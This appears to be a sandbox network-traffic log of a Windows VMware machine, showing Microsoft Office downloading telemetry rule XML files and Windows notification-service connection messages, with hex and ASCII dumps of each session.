Timestamp	Bytes transferred	Direction	Data
2024-12-08 14:38:38 UTC	192	OUT	GET /rules/rule120653v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-08 14:38:39 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 08 Dec 2024 14:38:39 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:51 GMT ETag: "0x8DC582B9C710B28" x-ms-request-id: a7f5343d-701e-001e-5304-48f5e6000000 x-ms-version: 2018-03-28 x-azure-ref: 20241208T143839Z-r1cf579d778xq4f9hC1EWRx41g00000005eg000000004fr0 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-08 14:38:39 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 49 69 5d 5b 4e 6e 5d 5b 4e 6e 5d 5b 4f 6f 5d 5b 54 74 5d 5b 45 65 5d 5b 4b 6b 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120653" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120651" /> <SR T="2" R="([Ii][Nn][Nn][Oo][Tt][Ee][Kk])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
60	192.168.2.6	49790	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-08 14:38:38 UTC	192	OUT	GET /rules/rule120652v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-08 14:38:39 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 08 Dec 2024 14:38:39 GMT Content-Type: text/xml Content-Length: 471 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:43 GMT ETag: "0x8DC582B97E6FCDD" x-ms-request-id: 45682ef5-801e-0048-7703-48f3fb000000 x-ms-version: 2018-03-28 x-azure-ref: 20241208T143839Z-r1cf579d778d5zkmhC1EWRk6h800000006500000000027hr x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-08 14:38:39 UTC	471	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120652" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120651" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
61	192.168.2.6	49788	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-08 14:38:38 UTC	192	OUT	GET /rules/rule120650v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-08 14:38:39 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 08 Dec 2024 14:38:39 GMT Content-Type: text/xml Content-Length: 479 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B989EE75B" x-ms-request-id: 32c7c32d-b01e-003e-2b01-488e41000000 x-ms-version: 2018-03-28 x-azure-ref: 20241208T143839Z-r1cf579d7784wpmvhC1EWRk4cn0000000550000000001gvt x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-08 14:38:39 UTC	479	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120650" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120649" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
62	192.168.2.6	49789	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-08 14:38:38 UTC	192	OUT	GET /rules/rule120651v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-08 14:38:39 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 08 Dec 2024 14:38:39 GMT Content-Type: text/xml Content-Length: 415 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:10 GMT ETag: "0x8DC582BA80D96A1" x-ms-request-id: 7b814a2b-101e-0017-4003-4847c7000000 x-ms-version: 2018-03-28 x-azure-ref: 20241208T143839Z-r1cf579d77867vg8hC1EWR8knc00000005b0000000008e5z x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-08 14:38:39 UTC	415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 47 67 5d 5b 4f 6f 5d 5b 4f 6f 5d 5b 47 67 5d 5b 4c 6c 5d 5b 45 65 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120651" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120649" /> <SR T="2" R="([Gg][Oo][Oo][Gg][Ll][Ee])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tru

Session ID	Source IP	Source Port	Destination IP	Destination Port
63	192.168.2.6	49795	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-08 14:38:41 UTC	192	OUT	GET /rules/rule120655v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-08 14:38:41 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 08 Dec 2024 14:38:41 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:37 GMT ETag: "0x8DC582BB7F164C3" x-ms-request-id: 49c2372f-d01e-0065-7b09-48b77a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241208T143841Z-r1cf579d778xr2r4hC1EWRqvfs00000005k00000000072s7 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-08 14:38:41 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4e 6e 5d 5b 49 69 5d 5b 4d 6d 5d 5b 42 62 5d 5b 4f 6f 5d 5b 58 78 5d 5b 58 78 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120655" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120653" /> <SR T="2" R="([Nn][Ii][Mm][Bb][Oo][Xx][Xx])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
64	192.168.2.6	49796	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-08 14:38:41 UTC	192	OUT	GET /rules/rule120656v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-08 14:38:41 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 08 Dec 2024 14:38:41 GMT Content-Type: text/xml Content-Length: 477 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:04 GMT ETag: "0x8DC582BA48B5BDD" x-ms-request-id: 704c87bc-501e-00a0-2501-489d9f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241208T143841Z-r1cf579d778dc6d7hC1EWR2vs800000006d000000000075w x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-08 14:38:41 UTC	477	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120656" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120655" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
65	192.168.2.6	49798	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-08 14:38:41 UTC	192	OUT	GET /rules/rule120659v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-08 14:38:41 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 08 Dec 2024 14:38:41 GMT Content-Type: text/xml Content-Length: 468 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:30 GMT ETag: "0x8DC582BB3EAF226" x-ms-request-id: 1f654f05-501e-008f-5009-489054000000 x-ms-version: 2018-03-28 x-azure-ref: 20241208T143841Z-r1cf579d778dc6d7hC1EWR2vs800000006b0000000002egh x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-08 14:38:41 UTC	468	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4f 6f 5d 5b 50 70 5d 5b 45 65 5d 5b 4e 6e 5d 5b 53 73 5d 5b 54 74 5d 5b 41 61 5d 5b 43 63 5d 5b 4b 6b 5d 20 5b 46 66 5d 5b 4f 6f 5d 5b 55 75 5d 5b 4e 6e 5d 5b 44 64 5d 5b 41 61 5d 5b 54 74 5d 5b 49 69 5d 5b 4f 6f 5d 5b 4e 6e 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120659" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120657" /> <SR T="2" R="([Oo][Pp][Ee][Nn][Ss][Tt][Aa][Cc][Kk] [Ff][Oo][Uu][Nn][Dd][Aa][Tt][Ii][Oo][Nn])"> <S T="1" F="1" M="I

Session ID	Source IP	Source Port	Destination IP	Destination Port
66	192.168.2.6	49797	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-08 14:38:41 UTC	192	OUT	GET /rules/rule120657v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-08 14:38:41 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 08 Dec 2024 14:38:41 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:57 GMT ETag: "0x8DC582B9FF95F80" x-ms-request-id: a75b6259-601e-0084-3701-486b3f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241208T143841Z-r1cf579d778zvkpnhC1EWRv23g00000005y0000000002wqg x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-08 14:38:41 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4e 6e 5d 5b 55 75 5d 5b 54 74 5d 5b 41 61 5d 5b 4e 6e 5d 5b 49 69 5d 5b 58 78 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120657" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120655" /> <SR T="2" R="([Nn][Uu][Tt][Aa][Nn][Ii][Xx])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
67	192.168.2.6	49799	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-08 14:38:41 UTC	192	OUT	GET /rules/rule120658v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-08 14:38:41 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 08 Dec 2024 14:38:41 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:34 GMT ETag: "0x8DC582BB650C2EC" x-ms-request-id: 9fa7fdc2-501e-007b-4648-495ba2000000 x-ms-version: 2018-03-28 x-azure-ref: 20241208T143841Z-r1cf579d778z4wflhC1EWRa3h000000005t00000000006zx x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-08 14:38:41 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120658" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120657" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
68	192.168.2.6	49793	20.198.118.190	443

Timestamp	Bytes transferred	Direction	Data
2024-12-08 14:38:41 UTC	71	OUT	Data Raw: 43 4e 54 20 31 20 43 4f 4e 20 33 30 35 0d 0a 4d 53 2d 43 56 3a 20 41 54 71 59 71 31 56 6c 75 6b 47 79 50 37 50 4a 2e 31 0d 0a 43 6f 6e 74 65 78 74 3a 20 63 38 62 65 34 61 39 34 66 66 61 34 65 66 64 34 0d 0a 0d 0a Data Ascii: CNT 1 CON 305MS-CV: ATqYq1VlukGyP7PJ.1Context: c8be4a94ffa4efd4
2024-12-08 14:38:41 UTC	249	OUT	Data Raw: 3c 63 6f 6e 6e 65 63 74 3e 3c 76 65 72 3e 32 3c 2f 76 65 72 3e 3c 61 67 65 6e 74 3e 3c 6f 73 3e 57 69 6e 64 6f 77 73 3c 2f 6f 73 3e 3c 6f 73 56 65 72 3e 31 30 2e 30 2e 30 2e 30 2e 31 39 30 34 35 3c 2f 6f 73 56 65 72 3e 3c 70 72 6f 63 3e 78 36 34 3c 2f 70 72 6f 63 3e 3c 6c 63 69 64 3e 65 6e 2d 43 48 3c 2f 6c 63 69 64 3e 3c 67 65 6f 49 64 3e 32 32 33 3c 2f 67 65 6f 49 64 3e 3c 61 6f 61 63 3e 30 3c 2f 61 6f 61 63 3e 3c 64 65 76 69 63 65 54 79 70 65 3e 31 3c 2f 64 65 76 69 63 65 54 79 70 65 3e 3c 64 65 76 69 63 65 4e 61 6d 65 3e 56 4d 77 61 72 65 32 30 2c 31 3c 2f 64 65 76 69 63 65 4e 61 6d 65 3e 3c 66 6f 6c 6c 6f 77 52 65 74 72 79 3e 74 72 75 65 3c 2f 66 6f 6c 6c 6f 77 52 65 74 72 79 3e 3c 2f 61 67 65 6e 74 3e 3c 2f 63 6f 6e 6e 65 63 74 3e Data Ascii: <connect><ver>2</ver><agent><os>Windows</os><osVer>10.0.0.0.19045</osVer><proc>x64</proc><lcid>en-CH</lcid><geoId>223</geoId><aoac>0</aoac><deviceType>1</deviceType><deviceName>VMware20,1</deviceName><followRetry>true</followRetry></agent></connect>
2024-12-08 14:38:41 UTC	1084	OUT	Data Raw: 41 54 48 20 32 20 43 4f 4e 5c 44 45 56 49 43 45 20 31 30 36 31 0d 0a 4d 53 2d 43 56 3a 20 41 54 71 59 71 31 56 6c 75 6b 47 79 50 37 50 4a 2e 32 0d 0a 43 6f 6e 74 65 78 74 3a 20 63 38 62 65 34 61 39 34 66 66 61 34 65 66 64 34 0d 0a 0d 0a 3c 64 65 76 69 63 65 3e 3c 63 6f 6d 70 61 63 74 2d 74 69 63 6b 65 74 3e 74 3d 45 77 43 34 41 75 70 49 42 41 41 55 31 62 44 47 66 64 61 7a 69 44 66 58 70 6a 4e 35 4e 36 63 59 68 54 31 77 62 6d 51 41 41 66 66 58 61 79 5a 75 6c 33 67 6b 6f 6f 50 45 4c 43 4a 48 4e 56 4e 64 45 5a 71 31 76 6f 41 33 75 33 7a 42 6e 4e 61 54 63 37 6b 4c 76 4a 33 74 70 70 46 6c 30 55 65 6e 42 6b 66 75 34 66 6d 39 47 64 36 55 76 38 2f 77 48 4b 47 43 74 76 6b 37 76 4c 4e 44 5a 4e 69 38 78 67 48 6f 79 72 50 55 57 4f 38 61 36 74 75 2f 69 51 45 4f 59 36 Data Ascii: ATH 2 CON\DEVICE 1061MS-CV: ATqYq1VlukGyP7PJ.2Context: c8be4a94ffa4efd4<device><compact-ticket>t=EwC4AupIBAAU1bDGfdaziDfXpjN5N6cYhT1wbmQAAffXayZul3gkooPELCJHNVNdEZq1voA3u3zBnNaTc7kLvJ3tppFl0UenBkfu4fm9Gd6Uv8/wHKGCtvk7vLNDZNi8xgHoyrPUWO8a6tu/iQEOY6
2024-12-08 14:38:41 UTC	74	OUT	Data Raw: 42 4e 44 20 33 20 43 4f 4e 5c 51 4f 53 20 35 36 0d 0a 4d 53 2d 43 56 3a 20 41 54 71 59 71 31 56 6c 75 6b 47 79 50 37 50 4a 2e 33 0d 0a 43 6f 6e 74 65 78 74 3a 20 63 38 62 65 34 61 39 34 66 66 61 34 65 66 64 34 0d 0a 0d 0a Data Ascii: BND 3 CON\QOS 56MS-CV: ATqYq1VlukGyP7PJ.3Context: c8be4a94ffa4efd4
2024-12-08 14:38:42 UTC	14	IN	Data Raw: 32 30 32 20 31 20 43 4f 4e 20 35 38 0d 0a Data Ascii: 202 1 CON 58
2024-12-08 14:38:42 UTC	58	IN	Data Raw: 4d 53 2d 43 56 3a 20 34 32 65 48 59 42 65 47 73 6b 32 66 76 78 4a 75 4d 6e 6c 2f 2b 77 2e 30 0d 0a 0d 0a 50 61 79 6c 6f 61 64 20 70 61 72 73 69 6e 67 20 66 61 69 6c 65 64 2e Data Ascii: MS-CV: 42eHYBeGsk2fvxJuMnl/+w.0Payload parsing failed.

Session ID	Source IP	Source Port	Destination IP	Destination Port
69	192.168.2.6	49794	20.198.118.190	443

Timestamp	Bytes transferred	Direction	Data
2024-12-08 14:38:41 UTC	71	OUT	Data Raw: 43 4e 54 20 31 20 43 4f 4e 20 33 30 35 0d 0a 4d 53 2d 43 56 3a 20 33 7a 35 66 43 4e 56 62 50 55 69 38 47 37 67 75 2e 31 0d 0a 43 6f 6e 74 65 78 74 3a 20 34 35 36 61 63 30 36 38 61 65 36 66 64 31 66 38 0d 0a 0d 0a Data Ascii: CNT 1 CON 305MS-CV: 3z5fCNVbPUi8G7gu.1Context: 456ac068ae6fd1f8
2024-12-08 14:38:41 UTC	249	OUT	Data Raw: 3c 63 6f 6e 6e 65 63 74 3e 3c 76 65 72 3e 32 3c 2f 76 65 72 3e 3c 61 67 65 6e 74 3e 3c 6f 73 3e 57 69 6e 64 6f 77 73 3c 2f 6f 73 3e 3c 6f 73 56 65 72 3e 31 30 2e 30 2e 30 2e 30 2e 31 39 30 34 35 3c 2f 6f 73 56 65 72 3e 3c 70 72 6f 63 3e 78 36 34 3c 2f 70 72 6f 63 3e 3c 6c 63 69 64 3e 65 6e 2d 43 48 3c 2f 6c 63 69 64 3e 3c 67 65 6f 49 64 3e 32 32 33 3c 2f 67 65 6f 49 64 3e 3c 61 6f 61 63 3e 30 3c 2f 61 6f 61 63 3e 3c 64 65 76 69 63 65 54 79 70 65 3e 31 3c 2f 64 65 76 69 63 65 54 79 70 65 3e 3c 64 65 76 69 63 65 4e 61 6d 65 3e 56 4d 77 61 72 65 32 30 2c 31 3c 2f 64 65 76 69 63 65 4e 61 6d 65 3e 3c 66 6f 6c 6c 6f 77 52 65 74 72 79 3e 74 72 75 65 3c 2f 66 6f 6c 6c 6f 77 52 65 74 72 79 3e 3c 2f 61 67 65 6e 74 3e 3c 2f 63 6f 6e 6e 65 63 74 3e Data Ascii: <connect><ver>2</ver><agent><os>Windows</os><osVer>10.0.0.0.19045</osVer><proc>x64</proc><lcid>en-CH</lcid><geoId>223</geoId><aoac>0</aoac><deviceType>1</deviceType><deviceName>VMware20,1</deviceName><followRetry>true</followRetry></agent></connect>
